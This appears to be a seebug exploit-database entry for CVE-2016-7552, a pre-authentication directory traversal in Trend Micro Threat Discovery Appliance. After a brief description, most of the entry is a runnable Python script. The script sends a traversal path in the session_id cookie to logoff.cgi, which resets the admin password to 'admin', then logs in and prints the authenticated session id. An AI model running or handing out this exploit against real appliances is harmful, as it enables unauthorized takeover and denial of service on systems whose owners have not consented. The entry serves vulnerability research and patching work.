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Trend Micro Threat Discovery Appliance <= 2.6.1062r1 logoff.cgi Directory Traversal Authentication Bypass Vulnerability(CVE-2016-7552)

🗓️ 21 Apr 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 64 Views

Trend Micro Threat Discovery Appliance pre-auth directory traversal vulnerability allows bypassing authentication by resetting default password as 'admin', causing DoS

Related
Code

                                                import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv) != 3:
    print "(+) usage: %s <target> <option [reset][login]>" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 reset" % sys.argv[0]
    print "(+) eg: %s 172.16.175.123 login" % sys.argv[0]
    sys.exit(-1)

t = sys.argv[1]
o = sys.argv[2]

bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
o_url = "%scgi-bin/logoff.cgi" % bu

if o.lower() == "login":
    # default password
    r = requests.post(l_url, data={ "passwd":"admin", "isCookieEnable":1 }, verify=False)
    if "frame.cgi" in r.text:
        print "(+) logged in..."
        match = re.search("session_id=(.*); path", r.headers['set-cookie'])
        if match:
            print "(+) authenticated session_id: %s" % match.group(1)
    else:
        print "(-) login failed"
elif o.lower() == "reset":
    print "(+) resetting the default password..."
    r = requests.get(o_url, cookies={"session_id":"../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"}, verify=False)
    # causes an uninitialized free() vulnerability as well...
    if "Memory map" in r.text:
        print "(+) success! now wait for a reboot..."
else:
    print "(-) not a valid option!"
                              

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